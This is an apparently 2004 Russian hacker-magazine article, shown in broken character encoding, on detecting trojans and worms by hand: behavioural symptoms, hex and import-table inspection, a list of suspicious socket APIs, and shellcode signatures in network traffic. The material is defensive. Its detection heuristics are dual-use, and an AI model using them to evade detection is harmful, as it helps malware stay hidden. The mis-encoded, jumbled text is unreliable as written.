Ïðàâèëüíûå ðàçðåøåíèÿ íà îïàñíûå âåòêè

Òðþê ñ çàìåíîé èíòåðïðåòàòîðà Ïðàâèëüíàÿ ïîëèòèêà � æåñòêàÿ ïîëèòèêà

×àñòî áûâàåò, ÷òî òðîÿíåö çàïèñûâàåò â
ôàéë hosts ññûëêó âèäà «microsoft.com

hacker-ip-address».



Deeoni$ (arustamovv2000@mail.ru, ICQ 982622)

Ï îëèôàãè â ñîñòîÿíèè îïðåäåëèòü âèðóñ, èçâåñòíûé èõ âëàäåëüöó. Îäíàêî ñëåãêà âèäîèçìåíåííûé è
ïåðåêîìïèëèðîâàííûé âèðóñ (èëè òðîÿí) íàìåðòâî ïåðåñòàåò âûÿâëÿòüñÿ è ëå÷èòüñÿ. Íàïèñàòü òàêîé òðîÿí,

êîòîðûé íå áóäåò îïðåäåëÿòü àíòèâèðóñ, ïîä ñèëó äàæå øêîëüíèêó.

ÍÀÉÄÈ ÂÐÀÃÀ
Â ÑÂÎÅÌ ÄÎÌÅ!
ÎÁÍÀÐÓÆÅÍÈÅ ÇËÎÃÎ ÑÎÔÒÀ 
ÁÅÇ ÈÑÏÎËÜÇÎÂÀÍÈß ÀÍÒÈÂÈÐÓÑÀ

ðîñòûå ïîëüçîâàòåëè
áîÿòñÿ âèðóñîâ êàê îã-
íÿ. Îáâåøàâ ñåáÿ àí-
òèâèðóñíûìè ïðîãðàì-
ìàìè, îíè íàäåþòñÿ,

÷òî áåäà îáîéäåò èõ ñòîðîíîé. Íî çà-
÷àñòóþ áîëüøå ïîìîãàþò ìîçãè, ÷åì
ñïåöèàëèçèðîâàííîå ÏÎ. (Íèêîãäà â
æèçíè íå ïîëüçîâàëñÿ àíòèâèðóñàìè,
êðîìå âåá-ñåðâèñîâ ïðîâåðêè îò-
äåëüíûõ ôàéëîâ: ãðàìîòíî íàñòðîåí-
íûé ôàåðâîë è ïðÿìûå ðóêè ñòîÿò
áîëüøå, ÷åì ïîæèçíåííûé êëþ÷ îò
AVP ;) - ïðèì. AvaLANche'à.) Â ýòîé
ñòàòüå ìû ðàññêàæåì î òîì, êàê ñà-
ìîñòîÿòåëüíî îáíàðóæèòü ôàêò èí-
ôèöèðîâàíèÿ ìàøèíû è ïîñòàðàòüñÿ
óíè÷òîæèòü îïàñíîñòü.

ÊÎÍÜ Â ÏÀËÜÒÎ
Ïî ïðèíöèïó äåéñòâèÿ òðîÿíû

ðàçäåëÿþò íà äâå îñíîâíûå ãðóïïû:
îíëàéí è îôôëàéí. Ñïîñîáû ïîÿâëå-
íèÿ è çàêðåïëåíèÿ èõ â ñèñòåìå ñõî-
æè, ðàçíèöà òîëüêî â ôóíêöèÿõ (îä-
íàêî â ëþáîì ñëó÷àå êîíèê äîëæåí
èìåòü äîñòóï ê ñåòè � äëÿ æèâóùèõ
â ÷óìå ñ ÷óê÷àìè ýòà îïàñíîñòü íå
ñòðàøíà).

Ñèìïòîìû òîãî, ÷òî òû ñòàë êîíåâî-
äîì, ïðîñòû è ïðåäñêàçóåìû. Ïðåæäå
âñåãî, ýòî óãîí ìûëà, àñüêè èëè ïàðî-
ëÿ íà FTP. Åñëè àâòîð òðîÿíà � ïðèêî-
ëèñò, òî êîìïüþòåð ìîæåò ñåáÿ ñòðàí-
íî âåñòè: ìûøêà áåãàåò ïî ðàáî÷åìó
ñòîëó êàê ñóìàñøåäøàÿ, ñàìîïðîèç-
âîëüíî îòêðûâàåòñÿ/çàêðûâàåòñÿ CD-
ROM, ïîÿâëÿþòñÿ ëåâûå îêîøêè è
ìíîãî ÷åãî åùå. Òðîÿí âñåãäà îòêðû-
âàåò ïîðòû äëÿ ñâÿçè ñ áîññîì, ñëåäî-
âàòåëüíî, ïîÿâëÿåòñÿ ëåâûé òðàôèê.
Åñëè ëàìïî÷êè ìèãàþò, òðàôèê íà
ñ÷åò÷èêàõ ðàñòåò, à íè îäíà ïðîãðàì-
ìà äëÿ ðàáîòû â èíåòå íå çàïóùåíà,
åñòü ïîâîä âñåðüåç ïðèçàäóìàòüñÿ.
Êîíå÷íî, ýòî äåëî ìîæåò áûòü ïðîñòî
â êàêîé-íèáóäü ñëóæáå, íî ëèøíèé
ðàç ïðîâåðèòü íå ïîâðåäèò, îñîáåííî
åñëè ðàçìåðû îòïðàâëåííûõ äàííûõ
íå ïîääàþòñÿ êðèòèêå.

Ëîøàäü íà òâîåì êîìïüþòåðå ìîæ-
íî ïîïðîáîâàòü îáíàðóæèòü íà äâóõ
ñòàäèÿõ: êîãäà ïðîãðàììà åùå ïîä ïî-
äîçðåíèåì è âî âðåìÿ ðàáîòû. Â ïåð-

âîì ñëó÷àå íàäî ïðîñìîòðåòü ïîïàâ-
øèé ê íàì â ðóêè ôàéë â HEX-ðåäàê-
òîðå (ïîñëå äåêîìïðåññèè ôàéëà, òàê
êàê îáû÷íî .exe'øíèêè ñæèìàþò -
ïðèì. ðåä.) è ïðîâåðèòü åãî íà ïðåä-
ìåò íàëè÷èÿ e-mail-àäðåñîâ, äîìåííûõ
èìåí, íàñòîðàæèâàþùèõ èìåí è ðàñ-
øèðåíèé ôàéëîâ òèïà .pwl. Òàêæå
ìîæíî âçãëÿíóòü íà äèðåêòîðèþ èì-
ïîðòà (ñòðóêòóðó, êîòîðàÿ ñîäåðæèò
íåîáõîäèìóþ äëÿ ðàáîòû ïðîãðàììû
èíôîðìàöèþ î ñèñòåìíûõ ôóíêöèÿõ
Windows). Åñëè ïðèøåäøèé ê òåáå â
ïèñüìå .åõå�øíèê íå ïðåäíàçíà÷åí
äëÿ ðàáîòû ñ ñåòüþ (íàïðèìåð, ñêàçà-
íî, ÷òî ýòî íàâîðî÷åííàÿ äåìêà), íî
ïî÷åìó-òî àêòèâíî èñïîëüçóåò ñåòå-
âûå API, òî ýòî, ñêîðåå âñåãî, è åñòü
íàø êëèåíò. Çäåñü ïðåêðàñíî ïîäîé-
äåò W32Dasm
(www.expage.com/page/w32dasm). Îí ïîêà-
çûâàåò âñå ôóíêöèè, êîòîðûå èñïîëü-
çóåò ïðîãà. Â êðàéíåì ñëó÷àå, ìîæíî
âîñïîëüçîâàòüñÿ ëþáûì òåêñòîâûì
ðåäàêòîðîì è ïðîñìîòðåòü ïîäîçðåâà-
åìîãî íà íàëè÷èå ïîäîçðèòåëüíûõ
èìåí API. Ýòî íå äàåò 100%-íîé ãàðàí-
òèè, íî â êàêîé-òî ñòåïåíè ïîâûøàåò
íàäåæíîñòü àíàëèçà. Ïîäîçðèòåëü-

íûå íà ýòîò ñ÷åò ôóíêöèè ìîæíî âè-
äåòü íà âðåçêå.

Ïðè óæå àêòèâíîì òðîÿí÷èêå ñïîñî-
áû äåòåêòèðîâàíèÿ äîñòàòî÷íî áà-
íàëüíû. Ïåðâîå, ÷òî äåëàåò ëþáîé
ïîëüçîâàòåëü, ýòî ñìîòðèò êëþ÷è ðå-
åñòðà, îòâå÷àþùèå çà àâòîçàïóñê, è
ñïèñîê ïðîöåññîâ íà ïðåäìåò èíîðîä-
íûõ òåë. Â áîëüøèíñòâå ñëó÷àåâ ýòî
äàåò ïîëîæèòåëüíûé ðåçóëüòàò. Æå-
ëàòåëüíî òàêæå ïðîñêàíèðîâàòü ïîð-
òû è ïîñëóøàòü àêòèâíûå ñîåäèíåíèÿ.
Äëÿ äèôôåðåíöèðîâêè çëîé ïðîãè è
ñòàíäàðòíûõ âèäîâûõ ôàéëîâ ïîìî-
æåò äàòà ñîçäàíèÿ. Êîíèê áóäåò îòëè-
÷àòüñÿ ïî äàííîìó êðèòåðèþ îò ñèñ-
òåìíîãî ôàéëà (õîòÿ íå ôàêò). Èç äî-
ïîëíèòåëüíîãî ñîôòà ìîãó ïîñîâåòî-
âàòü Trojan Remover (www.simplysup.com),
îí ñïåöèàëèçèðóåòñÿ íà îòëîâå ïî-
äîáíûõ òâàðåé. Äëÿ ðååñòðà èìååòñÿ
NBG Clean Registry
(dialupprof.newmail.ru/nbgcleanr.htm) - â íåãî
âñòðîåí ìîíèòîð îáðàùåíèé ê îáúåê-
òó åãî ðàáîòû. Äëÿ ïðîâåðêè ïîðòîâ
ìîæíî þçàòü Languard, Advanced
Administrative Tools, SuperScan è
XSpider. Îíè ïðîâåðÿò ïîðòû, îáû÷íî
çàíèìàåìûå òðîÿíàìè, è ñîîáùàþò î
íàëè÷èè ëåâîé àêòèâíîñòè. Â ÷àñòíîñ-
òè, òóëçà ñ ëàìåðñêîé ïðèñòàâêîé «ñó-
ïåð», êàê íè ñòðàííî, î÷åíü õîðîøà,
ïîñêîëüêó èìååò êðàòêîå îïèñàíèå
ìíîãèõ ïîðòîâ, è òû, äàæå ïðè áîëü-
øîì æåëàíèè, íå ïåðåïóòàåøü êàêîé-
íèáóäü ñåðâèñ ñ òðîÿíöåì.

Çàùèòèòüñÿ îò ïîäîáíîé íàïàñòè äî-
âîëüíî ïðîñòî � íå çàïóñêàòü ïîäîç-
ðèòåëüíûé ôàéë è ïîñòàâèòü ïåðñî-
íàëüíûé ôàåðâîë. 

Ñóùåñòâóåò åùå îäíà ãðóïïà ýòèõ
«÷óäî-ïðîãðàìì» � òå, êîòîðûå íå äîñ-
òóïíû øèðîêîé îáùåñòâåííîñòè èëè
ñî÷åòàþò â ñåáå ñâîéñòâà ÷åðâåé è
âèðóñîâ, òî åñòü ðàñïðîñòðàíÿþòñÿ ïî
ñåòè è/èëè âíåäðÿþò ñâîé êîä â äðó-
ãèå èñïîëíÿåìûå ôàéëû ñ öåëüþ îá-
õîäà ôàåðâîëîâ è ñîêðûòèÿ ñâîåãî
ïðèñóòñòâèÿ â ñèñòåìå. Ñ ïåðâûìè áî-
ðîòüñÿ ñëîæíî, îñîáåííî åñëè îíè
íàïðàâëåíû íà âûïîëíåíèå êîíêðåò-
íîé çàäà÷è â êîíêðåòíîé ñèñòåìå. È
ñîâñåì íå îáÿçàòåëüíî, ÷òî òðîÿíåö
áóäåò ñòàðòîâàòü ïðè êàæäîì çàïóñêå
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W32dasm ïîêàçûâàåò èìïîðòèðóåìûå
API-ôóíêöèè
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ñèñòåìû èëè àêòèâíî ïîëüçîâàòüñÿ
ñåòüþ. Âîîáùå, ïî îïðåäåëåíèþ, òðî-
ÿíñêàÿ ïðîãðàììà � ýòî ïðîãðàììà,
âûïîëíÿþùàÿ êàêèå-ëèáî çàðàíåå
ïðåäóñìîòðåííûå äåéñòâèÿ âîïðåêè
âîëå ïîëüçîâàòåëÿ, ïðèâîäÿùèå ê
ïîëíîé èëè ÷àñòè÷íîé ïîòåðå èíôîð-
ìàöèè è äðóãèì îòðèöàòåëüíûì ïîñëå-
äñòâèÿì. Çäåñü ÷åì ëó÷øå òû ðàçáè-
ðàåøüñÿ â ñèñòåìå, òåì îðèãèíàëüíåé
è äåéñòâåííåå ìîæíî ïðèäóìàòü ñïî-
ñîáû çàùèòû è îáíàðóæåíèÿ. Íî çà-
ìå÷ó, ÷òî, íå çíàÿ öåëè, àëãîðèòìîâ
èëè âíåøíèõ ñèìïòîìîâ, îïðåäåëèòü
ïîäîáíûå ïðîãè òÿæåëî. ×òî æå êàñà-
åòñÿ êîíåé, êîìáèíèðóþùèõ â ñåáå
ðàçíûå ñâîéñòâà âèðóñîâ è ÷åðâåé, òî
èõ ìîæíî íàéòè è îáåçâðåäèòü, ñî÷å-
òàÿ ìåðû ïî ïðîòèâîäåéñòâèþ ïîñëåä-
íèì. Íàäî îòìåòèòü, ÷òî âèðóñîïî-
äîáíûå ëîøàäêè ðåàëüíî ìîãóò ïîò-
ðåïàòü íåðâû õîçÿèíó, âñòðàèâàÿñü
â ïðèëîæåíèÿ, êîòîðûå ïðîñòî îáÿ-
çàíû èìåòü äîñòóï â èíòåðíåò. Ýòî
ìîãóò áûòü è áðàóçåðû, è ïî÷òîâûå
êëèåíòû, è äàæå ñèñòåìíûå ñëóæáû.
Ó÷èòûâàÿ, ÷òî â ïîñëåäíåå âðåìÿ
ýòîò âèä ïàðàçèòîâ ñòàíîâèòñÿ âñå
áîëåå ïîïóëÿðíûì, íàäî óìåòü çàùè-
òèòñÿ è îò íèõ. Ïðîùå âñåãî ýòî ñäå-
ëàòü, ðàáîòàÿ ñ ìèíèìàëüíûìè ïðè-
âèëåãèÿìè â ñèñòåìå. Ïîä ïðèâèëåãè-
ÿìè ÿ ïîäðàçóìåâàþ çàïðåùåíèÿ çà-
ïèñè â ñèñòåìíûå êàòàëîãè è ôàéëû
ïðèëîæåíèé. Ýòà ìåðà ñîçäàñò äîñòà-
òî÷íî âûñîêèé óðîâåíü çàùèòû îò
âñÿêîé äðÿíè.

ÑÅÒÅÂÛÅ ×ÅÐÂÈ
Ëþáîé íîðìàëüíûé ïîëüçîâàòåëü

õîòÿ áû ðàç â æèçíè öåïëÿë ÷åðâÿêà
(áóäü ïðîêëÿò òîò äåíü, êîãäà íà ìîåì
äîìàøíåì êîìïüþòîðå, ïîäêëþ÷åí-
íîì ê ðàéîííîé ñåòè, îòâàëèëñÿ
ZoneAlarm! - ïðèì. AvaLANche'à). Ñó-
ùåñòâóåò äâà îñíîâíûõ âèäà ýòîé çà-
ðàçû: òå, êîòîðûå ðàñïðîñòðàíÿþòñÿ
áåç ó÷àñòèÿ þçåðà, è òå, êîòîðûå â òîé
èëè èíîé ñòåïåíè èñïîëüçóþò ÷åëîâå-
÷åñêèé ôàêòîð, òî åñòü ëþáîïûòñòâî,
æàäíîñòü, íåîñòîðîæíîñòü è ìíîãîå
äðóãîå. Ýòè âèäû íå ñèëüíî îòëè÷àþò-
ñÿ äðóã îò äðóãà, íî ìû ðàçäåëèëè èõ,
òàê êàê ìåòîäû èõ îáíàðóæåíèÿ íåì-
íîãî ðàçëè÷íû.

Â îáùåì ñëó÷àå ÷åðâü ñíà÷àëà çà-
ñûëàåò â ñèñòåìó ñâîþ ãîëîâó (çàã-
ðóç÷èê). Îíà ìîæåò âíåäðÿòüñÿ è ÷å-
ðåç äûðû â ÏÎ, è ÷åðåç ðåñóðñû ñî
ñëàáûìè ïàðîëÿìè, è, íàïðèìåð, â
ýëåêòðîííîì ïîñëàíèè â âèäå VBS-
ñêðèïòà èëè âëîæåííîãî ôàéëà. Çàã-
ðóç÷èê âûïîëíÿåò ìèíèìàëüíûå
äåéñòâèÿ â ñèñòåìå, åãî çàäà÷åé ÿâëÿ-
åòñÿ ïîäòÿãèâàíèå îñíîâíîãî òåëà âè-
ðóñà ñ ïîñëåäóþùåé ïåðåäà÷åé åìó
ãëàâíîé ðîëè. Îí ñîçäàåò TCP-ñîåäè-
íåíèÿ, âûïîëíÿåò äåéñòâèÿ ïî àäàïòà-
öèè ïàðàçèòà (îïðåäåëÿåò ÎÑ, ïðàâà
ïîëüçîâàòåëÿ, àäðåñà ñèñòåìíûõ âû-
çîâîâ è ò.ä.), à çàòåì ÷àùå âñåãî ïîãè-
áàåò. Ãîëîâà, èñïîëüçóþùàÿ äûðû,
÷àñòî ïðåäñòàâëÿåò ñîáîé shell-êîä è
ñëóæèò ëèøü äëÿ îãðàíè÷åííîãî ÷èñ-

ëà çàäà÷, íåîáõîäèìûõ îñòàëüíîé
÷àñòè çâåðüêà. Ïîñëå ïîïàäàíèÿ õâîñ-
òà âèðóñà íà êîìïüþòåð îí äîëæåí
ñïðÿòàòüñÿ â êàêîì-íèáóäü ïðîöåññå
èëè ôàéëå, à åñëè èìååò ìåñòî ïîëè-
ìîðôèçì, òî è ðàñøèôðîâàòüñÿ.

×åðâü ìîæåò è íå çàêðåïëÿòüñÿ â
ñèñòåìå, à âåñòè êî÷åâîé îáðàç æèç-
íè. Ýòî çíà÷èòåëüíî óìåíüøàåò íàã-
ðóçêó íà ñåòü è îáåñïå÷èâàåò áîëü-
øóþ íåçàìåòíîñòü. Ñàìûì ðàñïðîñò-
ðàíåííûì (íî íå ñàìûì ëó÷øèì) ðå-
øåíèåì ÿâëÿåòñÿ ñîçäàíèå îòäåëüíî-
ãî ôàéëà ñ ïîñëåäóþùèì åãî àâòîçà-
ïóñêîì. Áîëåå èçîùðåííûå âèðóñû
âíåäðÿþò ïîäëîæíóþ áèáëèîòåêó â
äèðåêòîðèþ áîëåå èëè ìåíåå ÷àñòî
èñïîëüçóåìîãî ïðèëîæåíèÿ. Èçâðà-
ùåíöû ìîãóò ðåãèñòðèðîâàòü â ñèñòå-
ìå ñâîè ëîâóøêè (hooks), ìîäèôèöè-
ðîâàòü òàáëèöó èìïîðòà ïðîöåññà-íî-
ñèòåëÿ, âñòàâëÿòü â êîäîâûé ñåãìåíò
êîìàíäû ïåðåõîäà íà ñâîå òåëî, ñêà-
íèðîâàòü ïàìÿòü â ïîèñêàõ òàáëèö
âèðòóàëüíûõ ôóíêöèé è ìîäèôèöè-
ðîâàòü èõ ïî ñâîåìó óñìîòðåíèþ.
Åùå ðàç îòìå÷ó, ÷òî òîëüêî ñàìûå
ïðèìèòèâíûå ÷åðâè ñîçäàþò íîâûé
ïðîöåññ (âñïîìíèì MSBlast), ïîñêîëü-
êó åñòü âîçìîæíîñòü âíåäðèòüñÿ â
÷óæîå àäðåñíîå ïðîñòðàíñòâî, èñ-
ïîëüçóÿ ìåæïðîöåññíûå ñðåäñòâà
âçàèìîäåéñòâèÿ.

Äàëåå ñëåäóåò ôàçà ðàçìíîæåíèÿ.
Íà ýòîé ñòàäèè ÷åðâü äîëæåí çàøèô-
ðîâàòü êðèòè÷íûå ó÷àñòêè êîäà èëè

ñãåíåðèðîâàòü àáñîëþòíî íîâûé êîä
(ïîëèìîðôèçì), áåç ÷åãî îí ðèñêóåò
ïîòåðÿòü äîáðóþ ïîëîâèíó ñâîèõ êî-
ïèé. Ñóùåñòâóåò íåñêîëüêî âàðèàíòîâ
ðàñïðîñòðàíåíèÿ: èìïîðò äàííûõ èç
àäðåñíûõ êíèã, ïðîñìîòð ëîêàëüíûõ
ôàéëîâ íà íàëè÷èå ñåòåâûõ àäðåñîâ,
ãåíåðàöèÿ IP-àäðåñîâ è ñêàíèðîâàíèå
IP-äèàïàçîíà. Íàéäÿ ïîäõîäÿùóþ
æåðòâó, âèðóñ ïðîâåðÿåò íàëè÷èå
ñâîåé êîïèè íà ìàøèíå. Äåëàåòñÿ ýòî
÷àùå âñåãî «ðóêîïîæàòèåì»: ìàøèíå
ïîñûëàåòñÿ îïðåäåëåííîå ñëîâî, íà
÷òî ñëåäóåò îñîáûé îòâåò. 

Êàê æå îïðåäåëèòü íàëè÷èå ÷åðâÿ
íà òà÷êå? Åñëè êîä íàïèñàí ãðàìîòíî
è îòíîñèòñÿ ê ðåñóðñàì áåðåæíî, òî
ñäåëàòü ýòî äîâîëüíî ñëîæíî. Òî÷-
íûé îòâåò î ïðèñóòñòâèè ÷åðâÿ ìîæåò
äàòü ëèøü äèçàññåìáëèðîâàíèå (ïðè-
òîì, ÷òî âèðóñ ìîæåò âîîáùå íå òðî-
ãàòü ôàéëîâóþ ñèñòåìó, à âûïîëíÿòü-
ñÿ â ïàìÿòè) èëè ýâðèñòèê. Àíàëèçè-
ðîâàòü âñþ îïåðàòèâêó íåìíîãèì ïîä
ñèëó. Îäíàêî ñóùåñòâóåò ðÿä ïðèçíà-
êîâ, ïî êîòîðûì ìîæíî îïðåäåëèòü
ïðèñóòñòâèå èíîðîäíîãî òåëà â ñèñòå-
ìå. (ñì. òàáëèöó âûøå). Ïåðâàÿ îñî-
áåííîñòü ãîâîðèò ñàìà çà ñåáÿ. Ïàêå-
òû ðàñõîäÿòñÿ ïî âñåé ñåòè è çà÷àñ-
òóþ àäðåñóþòñÿ íåñóùåñòâóþùèì ïî-
ëó÷àòåëÿì. Ðàññûëêà èäåò ïîñòîÿííî
ëèáî ÷åðåç êîðîòêèå èíòåðâàëû âðå-
ìåíè. Ñîåäèíåíèå óñòàíàâëèâàåòñÿ
áåç äîìåííîãî èìåíè. Õîòÿ â ñëó÷àå
ñêàíèðîâàíèÿ ëîêàëüíûõ ôàéëîâ ýòî
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Áîëåå èçîùðåííûå âèðóñû âíåäðÿþò ïîä-
ëîæíóþ áèáëèîòåêó â äèðåêòîðèþ áîëåå èëè

ìåíåå ÷àñòî èñïîëüçóåìîãî ïðèëîæåíèÿ.
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HLLP-âèðó-
ñû ìîãóò
çàðàæàòü
ìåòîäîì
ñäâèãà è ìå-
òîäîì ïåðå-
íîñà è èñ-
ïîëüçîâàòü
øèôðîâà-
íèå.

Èíòåðåñíàÿ
ïðîãà äëÿ
áîðüáû ñ
BHO è
àâòîçàïóñêà-
þùèìñÿ
ñîôòîì -
BHOCaptor
(www.xcap-
tor.org).

Ïðèçíàêè, ïî êîòîðûì ìîæíî îïðåäåëèòü íàëè÷èå ÷åðâÿ â ñèñòåìå

CommView â äåéñòâèè

ÏÏÐÐÈÈÇÇÍÍÀÀÊÊ ÂÂÈÈÄÄ ××ÅÅÐÐÂÂßß

Áîëüøîå êîë-âî èñõîäÿùèõ TCP/IP ïàêåòîâ Ñàìîðàñïðîñòðàíÿþùèåñÿ

Íåíîðìàëüíàÿ ñåòåâàÿ àêòèâíîñòü Ñàìîðàñïðîñòðàíÿþùèåñÿ è çàâèñèìûå îò ÷åëîâåêà

Ïàêåòû ñ ïîäîçðèòåëüíûì ñîäåðæèìûì Ñàìîðàñïðîñòðàíÿþùèåñÿ

Ïèñüìà ñ ïîäîçðèòåëüíûì ñîäåðæèìûì Çàâèñèìûå îò ÷åëîâåêà

»



íå òàê. Íî ôàêò ñêàíà ëåãêî îáíàðó-
æèòü, ïîäêèíóâ âèðóñó ïðèìàíêó.

Íåíîðìàëüíàÿ ñåòåâàÿ àêòèâíîñòü
÷àñòî ñâèäåòåëüñòâóåò î ïàðàçèòå.
Áîëüøèíñòâî ñîâðåìåííûõ ÷åðâåé
ðàñïðîñòðàíÿþòñÿ ñ îãðîìíîé ñêî-
ðîñòüþ, èç-çà ÷åãî èñõîäÿùèé òðàôèê
ñèëüíî âîçðàñòàåò. Òàêæå ìîãóò îòê-
ðûòüñÿ íîâûå ïîðòû, î êîòîðûõ òû íè-
÷åãî íå çíàë è êîòîðûå íåïîíÿòíî êòî
ñëóøàåò. Ýòîãî, ïðàâäà, ìîæåò è íå
áûòü, åñëè ÷åðâü âíåäðèòñÿ â íèçêîó-
ðîâíåâûé ñåòåâîé ñåðâèñ.

Ïîäîçðèòåëüíûå ñåòåâûå ïàêåòû
ìîãóò ñîäåðæàòü â ñåáå ðàçíîîáðàç-
íûå ïîñëåäîâàòåëüíîñòè ñèìâîëîâ,
êîòîðûå â îáû÷íûõ óñëîâèÿõ òàì íå
äîëæíû èìåòü ìåñòî. Íàïðèìåð, åñëè
öåëü - web-ñåðâåð, òî ïðèçíàêàìè
shell-êîäà ìîãóò ñëóæèòü ïîñëåäîâà-
òåëüíîñòè èç òðåõ èëè áîëåå NOP, ìà-
øèííûå êîìàíäû CALL ESP, JMP ESP
è äðóãèå, èìåíà êîìàíäíûõ èíòåðïðå-
òàòîðîâ è áèáëèîòåê òèïà admin.dll,
áåññìûñëåííûå ïîñëåäîâàòåëüíîñòè
ñèìâîëîâ, èñïîëüçóåìûå äëÿ ïåðå-
ïîëíåíèÿ áóôåðà. Òðàôèê ìîæíî ëåã-
êî àíàëèçèðîâàòü è âûÿâëÿòü ïîäîç-

ðèòåëüíûå ïàêåòû. Îäíàêî ñòîèò àâòî-
ðó âèðóñà ñëåãêà çàêðèïòîâàòü shell-
êîä, è ïîäîáíàÿ ôèëüòðàöèÿ íå ñðà-
áîòàåò, õîòÿ ðàçìåð ïåðåïîëíÿåìîãî
áóôåðà íàñòîëüêî ìàë, ÷òî â äûðó
î÷åíü òðóäíî âïèõíóòü åùå è ðàñ-
øèôðîâùèê. Àíàëèç ìîæíî ïðîèçâî-
äèòü ëþáûì óäîáíûì ñíèôåðîì, êîòî-
ðûé èìååò õîòÿ áû ïðèìèòèâíûå ñðåä-
ñòâà ñîðòèðîâêè è ïðîñìîòðà ïàêåòîâ.
ß áû ïîñîâåòîâàë EtherSnoop
(www.arechisoft.com).

Ïîäîçðèòåëüíûå ïèñüìà ìîæíî âû-
ÿâèòü ïî íàëè÷èþ â íèõ ëèáî åõå-
ôàéëà (à òàêæå âñÿêèõ
im_nude.jpg.exe), ëèáî ñêðèïòà. Áûâà-
åò, ÷òî ãîëîâà ÷åðâÿ ïðèõîäèò â ïîñ-
ëàíèè â âèäå VBS-ñöåíàðèÿ è çàòåì
êà÷àåò õâîñò èç ñåòè â âèäå ïðîãðàì-

ìû. Âèðóñ ìîæåò áûòü è WSH-êîäîì.
Äëÿ çàùèòû îò âèðóñîâ íà WSH äîñ-
òàòî÷íî íå çàïóñêàòü èõ è îòêëþ-
÷èòü äàííóþ îïöèþ â ïî÷òîâîì êëè-
åíòå, åñëè òàêîâàÿ èìååòñÿ. The Bat!
ñ÷èòàåòñÿ îäíèì èç ñàìûõ áåçîïàñ-
íûõ ïî÷òîâèêîâ èç-çà òîãî, ÷òî íå
ïîääåðæèâàåò ñêðèïòû. Â Ñïåöå «the
XP Files» 
# 03.04(40) ìû äîâîëüíî ïîäðîáíî
ïèñàëè î çàùèòå îò WSH-çëîäåéñòâ,
ïîýòîìó äâèíåìñÿ äàëüøå.

×àñòî â òåëå âèðóñà ìîãóò áûòü íå-
çàøèôðîâàííûå ñòðîêè, êîòîðûå
ñðàçó ðåæóò âçãëÿä ïðè áåãëîì
ïðîñìîòðå â HEX-ðåäàêòîðå. Èùè â
äàìïå àäðåñà ñàéòîâ, îáðàùåíèå ê
êîòîðûì òû íå ïëàíèðîâàë, âåòâè
ðååñòðà, îòâåòñòâåííûå çà àâòîçà-
ïóñê, èìåíà ñèñòåìíûõ áèáëèîòåê (â
÷àñòíîñòè, íàïðÿìóþ îòíîñÿùèåñÿ ê
ðàáîòå ñ ñåòüþ) è èíòåðïðåòàòîðîâ
(ìîãóò èñïîëüçîâàòüñÿ èíòåðïðåòà-
òîðû web- è FTP-ñåðâåðîâ, ðàçëè÷-
íûõ ñêðèïòîâûõ ÿçûêîâ òèïà PHP,
Perl è ïðîñòî cmd.exe), «îïàñíûå»
êîìàíäû ïðèêëàäíûõ ïðîòîêîëîâ
(HELO, GET è ò.ä.) è ÎÑ. Ãîëîâà ÷åð-
âÿ îáû÷íî íàõîäèòñÿ â ñåêöèè äàí-
íûõ, ïîýòîìó òû ñðàçó äîëæåí çàìå-
òèòü òàì ìàøèííûé êîä.

Íåêîòîðûå ôèðìû ïðåäëàãàþò âû-
ñîêîïðîèçâîäèòåëüíûå àïïàðàòíûå
ñêàíåðû, ïîñòðîåííûå íà ïðîãðàì-
ìèðóåìûõ ëîãè÷åñêèõ óñòðîéñòâàõ
(PLD - ProgrammableLogicDevices),
íî èõ öåíà íàñòîëüêî âûñîêà, ÷òî
çàïðîñòî ìîæåò ïðåâçîéòè óùåðá
îò àòàêè. Êàðäèíàëüíîé ìåðîé ÿâ-
ëÿåòñÿ ñîçäàíèå áýêàïîâ âñåé ñèñ-
òåìû ñ óñòàíîâëåííûìè ïðèëîæå-
íèÿìè è âàæíûõ äàííûõ, ÷òîáû â
ñëó÷àå ñáîÿ îïåðàòèâíî îæèâèòü
ìàøèíó. Â NT ýòî ëåãêî äåëàåòñÿ ñ
ïîìîùüþ ïëàíèðîâùèêà çàäà÷ è
âñòðîåííîãî ñîôòà. Îäíàêî â ëþ-
áîì ñëó÷àå óãðîçà îò ÷åðâåé äîñòà-
òî÷íî âåëèêà, è îíè çàïðîñòî ìîãóò
óðîíèòü âñþ ñåòü.
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Õîðîøàÿ
ïðîãðàììà
äëÿ âûÿâëå-
íèÿ ïîäîç-
ðèòåëüíûõ
ïðîöåññîâ �
TaskInfo.

Íå ñèäè ïîä
Àäìèíèñò-
ðàòîðîì è
ðóòîì!

Ôàéë, çàðàæåííûé ñàìûì ïðîñòûì HLLP-âèðóñîì

ÍÀÉÄÈ ÂÐÀÃÀ Â ÑÂÎÅÌ ÄÎÌÅ!76 ÇÀÙÈÒÀ

Åñëè ïðè ïðîñìîòðå äèðåêòîðèè èìïîðòà ïðîãðàììû, êîòîðàÿ, ïî
èäåå, äîëæíà áûòü îôôëàéíîâîé, òû îáíàðóæèâàåøü íèæåñëåäó-
þùèå ôóíêöèè, òî ýòà ïðîãà ÿâíî ìîæåò áûòü òðîÿíöåì:
InternetGetConnectedState � ïðîâåðêà îíëàéí;
WSAStartup � ïðîâåðêà âåðñèè ñîêåòîâ;
socket � îòêðûòèå ñîêåòà;
htons � êîíâåðòèðîâàíèå â ñåòåâîé ïîðÿäîê áàéòîâ;
inet_addr � êîíâåðòèðîâàíèå IP â «àäðåñ» ñåðâåðà;
gethostbyname � êîíâåðòèðîâàíèå äîìåííîãî èìåíè â «àäðåñ» ñåð-
âåðà;
connect � ñîáñòâåííî êîííåêò;
closesocket � çàêðûòèå ñîêåòà;
send � îòñûëêà äàííûõ íà ñêîíåêòèâøèéñÿ ñîêåò;
recv � ïîëó÷åíèå äàííûõ èç ñîêåòà.

ÏÎÄÎÇÐÈÒÅËÜÍÛÅ API-ÔÓÍÊÖÈÈ

ÕÀÊÅÐÑÏÅÖ    11(48) 2004

×àñòî â òåëå âèðóñà ìîãóò áûòü íåçàøèôðî-
âàííûå ñòðîêè, êîòîðûå ñðàçó ðåæóò âçãëÿä

ïðè áåãëîì ïðîñìîòðå â HEX-ðåäàêòîðå.

Àíàëèç ìîæíî ïðîèçâîäèòü ëþáûì
óäîáíûì ñíèôåðîì, êîòîðûé èìååò õîòÿ 
áû ïðèìèòèâíûå ñðåäñòâà ñîðòèðîâêè

è ïðîñìîòðà ïàêåòîâ.

Ïðèìåðíî òàê ìî-
æåò âûãëÿäåòü
àïïàðàòíûé ñêà-
íåð, ñïåöèàëèçè-
ðóþùèéñÿ íà
÷åðâÿõ



